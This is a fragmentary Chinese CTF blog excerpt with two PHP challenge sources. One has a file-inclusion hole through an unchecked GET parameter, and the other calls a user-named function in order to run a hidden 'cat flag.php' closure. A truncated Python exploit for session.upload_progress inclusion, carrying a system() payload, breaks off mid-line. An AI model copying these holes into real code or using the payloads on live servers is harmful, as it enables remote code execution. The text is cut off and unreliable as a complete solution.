fmyyy1的博客

源码 <?php highlight_file(__FILE__); require_once 'flag.php'; if(isset($_GET['file'])) { require_once $_GET['file']; } 解法一 这一看就是session.upload_progress文件包含 import io import requests import threading sessid = 'bbbbbbb' data = {"cmd":"system('cat flag.ph

<?php $MY = create_function("","die(`cat flag.php`);"); $hash = bin2hex(openssl_random_pseudo_bytes(32)); eval("function SUCTF_$hash(){" ."global \$MY;" ."\$MY();" ."}"); if(isset($_GET['func_name'])){ $_GET["func_name"](); die(); }